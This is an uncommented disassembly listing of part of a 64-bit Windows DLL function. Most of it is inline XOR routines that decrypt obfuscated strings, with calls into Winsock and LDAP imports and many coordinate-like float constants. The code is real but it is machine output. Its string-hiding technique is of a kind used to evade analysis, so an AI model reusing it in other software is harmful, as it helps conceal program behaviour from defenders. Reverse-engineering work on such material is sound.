mov dword [rbp + 0x5e0], 0x43a00000
mov dword [rbp + 0x5e4], 0x4405c000
mov byte [rbp + 0x208], Ordinal_79
mov byte [rbp + 0x20e], al
call fcn.18000fbb0
movups xmm0, xmmword [0x1801b7798]
mov dword [rbp + 0x5e8], 0x43a00000
mov dword [rbp + 0x5ec], 0x43ed8000
movups xmmword [rbp + 0x1ca0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x18008fd70
cmp r12d, 2
jl 0x18008fd2b
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1ca4]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x18008fc40
jmp 0x18008fd70
lea r9, [rbp + 0x1ca0]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x18008fd40
xor r9d, r9d
lea rdx, [rbp + 0x5e8]
mov r8b, 1
lea rcx, [rbp + 0x1ca0]
call fcn.180003bf0
mov eax, dword [0x1801b77b0]
mov r8d, esi
movsd xmm0, qword [0x1801b77a8]
mov dword [rbp + 0x1b58], eax
movzx eax, word [0x1801b77b4]
mov word [rbp + 0x1b5c], ax
movzx eax, byte [0x1801b77b6]
mov byte [rbp + 0x1b5e], al
movsd qword [rbp + 0x1b50], xmm0
cmp r12d, 2
jl 0x18008feab
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b77a8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1b50], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b54]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b54], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b50]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18008fec0
lea r15, [0x180240300]
mov qword [rsp + 0x28], rsi
mov rdx, r15
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rcx, [rbp + 0x1b50]
mov r8d, 0x40
call fcn.18004a5d0
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [str.dVU__9aCUBX]
mov qword [rbp + 0x5f8], rax
mov dword [rbp + 0x5f0], 0x43b90000
mov dword [rbp + 0x5f4], 0x43520000
je 0x180090080
cmp r12d, 2
jl 0x18009003a
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm6
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x5f8]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x5f8], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x5fc]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x5fc], xmm2
jmp 0x180090080
lea r9, [rbp + 0x5f8]
mov r8d, esi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x180090050
xor r9d, r9d
lea rdx, [rbp + 0x5f0]
mov r8b, 1
lea rcx, [rbp + 0x5f8]
call fcn.18000fbb0
mov ebx, esi
lea rdi, [0x18023e998]
nop dword [rax]
nop word [rax + rax]
mov r14, qword [rdi]
mov rax, r13
inc rax
cmp byte [r15 + rax], sil
jne 0x1800900b6
test rax, rax
je 0x1800900d4
mov rdx, r15
mov rcx, r14
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x180090105
cmp dword [0x18023d964], ebx
lea r9, [rbp + 0x600]
mov rcx, r14
mov dword [rbp + 0x600], esi
sete dl
mov dword [rbp + 0x604], esi
xor r8d, r8d
call fcn.180008210
test al, al
je 0x180090105
mov dword [0x18023d950], ebx
inc ebx
add rdi, 8
cmp ebx, 0x291
jl 0x1800900b0
call fcn.180013c40
mov eax, dword [0x18023d950]
movsd xmm0, qword [0x1801b77c0]
movsd qword [rbp + 0x1890], xmm0
cmp eax, r13d
je 0x180090139
mov dword [0x18023d964], eax
mov eax, dword [0x1801b77c8]
mov r8d, esi
mov dword [rbp + 0x1898], eax
movzx eax, byte [0x1801b77cc]
mov byte [rbp + 0x189c], al
cmp r12d, 2
jl 0x18009023d
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b77c0]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1890], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1894]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1894], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1890]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180090250
lea rdx, [0x18023c1c0]
lea rcx, [rbp + 0x1890]
call fcn.1800031c0
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
movzx ecx, word [0x1801b77d8]
lea rdx, [0x18023c1b2]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd xmm0, qword [0x1801b77d0]
xor al, 0x3c
movsd qword [rbp + 0x1360], xmm0
xor byte [rbp + 0x1361], 0x33
xor byte [rbp + 0x1362], 0x34
xor byte [rbp + 0x1363], 0x35
xor byte [rbp + 0x1364], 0x36
xor byte [rbp + 0x1365], 0x37
xor byte [rbp + 0x1366], 0x38
xor byte [rbp + 0x1367], 0x39
mov word [rbp + 0x1368], cx
xor cl, 0x3a
xor byte [rbp + 0x1369], 0x3b
mov byte [rbp + 0x1368], cl
lea rcx, [rbp + 0x1360]
mov byte [rbp + 0x1360], 0x53
mov byte [rbp + 0x136a], al
call fcn.1800031c0
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0x608]
call fcn.180016730
lea rdx, [rbp + 0x610]
lea rcx, [rbp + 0xf0]
movss xmm0, dword [rax]
mov eax, dword [0x1801b77dc]
mov dword [rbp + 0xf0], eax
movzx eax, word [0x1801b77e0]
xor byte [rbp + 0xf1], 0x33
xor byte [rbp + 0xf2], 0x34
xor byte [rbp + 0xf3], 0x35
mov word [rbp + 0xf4], ax
xor al, 0x36
xor byte [rbp + 0xf5], 0x37
mov byte [rbp + 0xf4], al
movss dword [rbp + 0x610], xmm0
mov dword [rbp + 0x614], 0x42200000
mov byte [rbp + 0xf0], 0x53
call fcn.180002b60
test al, al
je 0x1800903bc
mov byte [0x18023c1b1], 1
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
cmp byte [0x1801b77f5], sil
mov eax, dword [0x1801b77f0]
movsd xmm0, qword [0x1801b77e8]
mov dword [rbp + 0x18c8], eax
movzx eax, word [0x1801b77f4]
mov word [rbp + 0x18cc], ax
mov dword [rbp + 0x618], 0xbf800000
mov dword [rbp + 0x61c], 0x42200000
movsd qword [rbp + 0x18c0], xmm0
je 0x180090540
mov r8d, esi
cmp r12d, 2
jl 0x180090500
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b77e8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x18c0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x18c4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x18c4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x18c0]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180090510
lea rdx, [rbp + 0x618]
lea rcx, [rbp + 0x18c0]
call fcn.180002b60
test al, al
je 0x180090560
mov byte [0x180240340], 1
jmp 0x18009056d
cmp byte [0x180240340], sil
je 0x1800906e5
cmp byte [0x1801b7805], sil
mov eax, dword [0x1801b7800]
movsd xmm0, qword [0x1801b77f8]
mov dword [rbp + 0x18d8], eax
movzx eax, word [0x1801b7804]
mov word [rbp + 0x18dc], ax
movsd qword [rbp + 0x18d0], xmm0
je 0x1800906d0
mov r8d, esi
cmp r12d, 2
jl 0x18009068f
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b77f8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x18d0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x18d4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x18d4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x18d0]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1800906a0
xor edx, edx
lea rcx, [rbp + 0x18d0]
call fcn.1800202c0
mov byte [0x180240340], sil
cmp byte [0x1801b7815], sil
mov eax, dword [0x1801b7810]
movsd xmm0, qword [str.aCUBX]
mov dword [rbp + 0x18e8], eax
movzx eax, word [0x1801b7814]
mov word [rbp + 0x18ec], ax
movsd qword [rbp + 0x18e0], xmm0
je 0x180090850
mov r8d, esi
cmp r12d, 2
jl 0x180090807
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.aCUBX]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x18e0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x18e4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x18e4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x18e0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180090820
xor edx, edx
lea rcx, [rbp + 0x18e0]
mov r8d, 0x105
call fcn.180010700
test al, al
je 0x180090b25
cmp byte [0x1801b7825], sil
mov eax, dword [str.TZQX]
movsd xmm0, qword [0x1801b7818]
mov dword [rbp + 0x18f8], eax
movzx eax, word [0x1801b7824]
mov word [rbp + 0x18fc], ax
movsd qword [rbp + 0x18f0], xmm0
je 0x1800909d0
mov r8d, esi
cmp r12d, 2
jl 0x18009098e
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7818]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x18f0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x18f4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x18f4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x18f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1800909a0
mov qword [rsp + 0x28], rsi
lea rdx, str.sultan
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x18f0]
call fcn.18004a5d0
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
mov eax, dword [str.aCUBX7]
lea rdx, [rbp + 0x620]
mov dword [rbp + 0xf8], eax
lea rcx, [rbp + 0xf8]
movzx eax, word [0x1801b782c]
xor byte [rbp + 0xf9], 0x33
xor byte [rbp + 0xfa], 0x34
xor byte [rbp + 0xfb], 0x35
mov word [rbp + 0xfc], ax
xor al, 0x36
xor byte [rbp + 0xfd], 0x37
mov byte [rbp + 0xfc], al
mov dword [rbp + 0x620], 0x42e60000
mov dword [rbp + 0x624], 0x42200000
mov byte [rbp + 0xf8], 0x53
call fcn.180002b60
test al, al
je 0x180090a80
mov byte [0x18023c190], 1
call fcn.180012070
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
call fcn.180016840
addss xmm0, xmm7
call fcn.180025650
movzx ecx, word [0x1801b7834]
lea rdx, [rbp + 0x628]
mov eax, dword [str.qRZVS_8]
mov dword [rbp + 0x210], eax
movzx eax, byte [0x1801b7836]
xor byte [rbp + 0x211], 0x33
xor al, 0x38
xor byte [rbp + 0x212], 0x34
xor byte [rbp + 0x213], 0x35
mov word [rbp + 0x214], cx
xor cl, 0x36
xor byte [rbp + 0x215], 0x37
mov byte [rbp + 0x214], cl
lea rcx, [rbp + 0x210]
mov dword [rbp + 0x628], 0x42e60000
mov dword [rbp + 0x62c], 0x42200000
mov byte [rbp + 0x210], 0x43
mov byte [rbp + 0x216], al
call fcn.180002b60
test al, al
je 0x180090b20
call fcn.180012070
call fcn.180014a90
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
call fcn.180006b10
call fcn.180013c40
movdqa xmm8, xmmword [0x1801bab60]
cmp dword [0x1802402a4], 3
jne 0x180091398
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x630]
addss xmm0, dword [0x1801baad8]
mov dword [rbp + 0x630], 0x43520000
movss dword [rbp + 0x634], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b7838]
lea rdx, [rbp + 0x638]
mov dword [rbp + 0x10], eax
lea rcx, [rbp + 0x10]
movzx eax, byte [0x1801b783c]
mov r9d, 8
xor byte [rbp + 0x11], 0x33
xor al, 0x36
xor byte [rbp + 0x12], 0x34
xor r8d, r8d
xor byte [rbp + 0x13], 0x35
mov byte [rbp + 0x14], al
mov dword [rbp + 0x638], 0x43a50000
mov dword [rbp + 0x63c], 0x4405c000
mov byte [rbp + 0x10], Ordinal_79
call fcn.18000fbb0
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [str.tAQPUVU9tAQPUVU9aCQPR7]
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x640], 0x43a00000
mov dword [rbp + 0x644], 0x43ed8000
je 0x180090d30
cmp r12d, 2
jl 0x180090cee
movdqa xmm6, xmmword [0x1801bab60]
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm6
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x648]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x648], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x64c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x64c], xmm2
jmp 0x180090d38
lea r9, [rbp + 0x648]
mov r8d, esi
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x180090d00
movdqa xmm6, xmmword [0x1801bab60]
xor r9d, r9d
lea rdx, [rbp + 0x640]
mov r8b, 1
lea rcx, [rbp + 0x648]
call fcn.180003bf0
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [0x1801b7848]
mov qword [rbp + 0x650], rax
je 0x180090e90
cmp r12d, 2
jl 0x180090e50
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm6
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x650]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x650], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x654]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x654], xmm2
jmp 0x180090e90
lea r9, [rbp + 0x650]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x180090e60
lea rdx, [0x18023bf94]
lea rcx, [rbp + 0x650]
call fcn.1800031c0
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
mov eax, dword [0x1801b7850]
lea rbx, [0x1801a7b4c]
mov dword [rbp + 0x100], eax
lea rdx, reloc.WS2_32.dll_accept
movzx eax, word [0x1801b7854]
lea rcx, [rbp + 0x100]
xor byte [rbp + 0x101], 0x33
mov r9d, reloc.WLDAP32.dll_Ordinal_30
xor byte [rbp + 0x102], 0x34
mov r8d, 1
xor byte [rbp + 0x103], 0x35
mov word [rbp + 0x104], ax
xor byte [rbp + 0x104], 0x36
xor byte [rbp + 0x105], 0x37
mov dword [rsp + 0x28], esi
mov byte [rbp + 0x100], 0x53
mov qword [rsp + 0x20], rbx
call fcn.180008db0
call fcn.180006b10
call fcn.180013c40
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x658]
movss xmm7, dword [0x1801baad8]
addss xmm0, xmm7
mov dword [rbp + 0x658], 0x44070000
movss dword [rbp + 0x65c], xmm0
call fcn.1800255f0
movzx ecx, word [0x1801b785c]
lea rdx, [rbp + 0x660]
mov eax, dword [0x1801b7858]
mov r9d, 8
mov dword [rbp + 0x218], eax
xor r8d, r8d
movzx eax, byte [0x1801b785e]
xor byte [rbp + 0x219], 0x33
xor al, 0x38
xor byte [rbp + 0x21a], 0x34
xor byte [rbp + 0x21b], 0x35
mov word [rbp + 0x21c], cx
xor cl, 0x36
xor byte [rbp + 0x21d], 0x37
mov byte [rbp + 0x21c], cl
lea rcx, [rbp + 0x218]
mov dword [rbp + 0x660], 0x43a00000
mov dword [rbp + 0x664], 0x4405c000
mov byte [rbp + 0x218], Ordinal_79
mov byte [rbp + 0x21e], al
call fcn.18000fbb0
movzx eax, byte [0x1801b7868]
lea rdx, [rbp + 0x668]
movsd xmm0, qword [0x1801b7860]
lea rcx, [rbp + 0xe70]
movsd qword [rbp + 0xe70], xmm0
xor al, 0x3a
xor byte [rbp + 0xe71], 0x33
xor r9d, r9d
xor byte [rbp + 0xe72], 0x34
mov r8b, 1
xor byte [rbp + 0xe73], 0x35
xor byte [rbp + 0xe74], 0x36
xor byte [rbp + 0xe75], 0x37
xor byte [rbp + 0xe76], 0x38
xor byte [rbp + 0xe77], 0x39
mov byte [rbp + 0xe78], al
mov dword [rbp + 0x668], 0x43a00000
mov dword [rbp + 0x66c], 0x43ed8000
mov byte [rbp + 0xe70], 0x53
call fcn.180003bf0
mov eax, dword [0x1801b7880]
movups xmm0, xmmword [0x1801b7870]
cmp byte [0x1801b7885], sil
mov dword [rbp + 0x24b8], eax
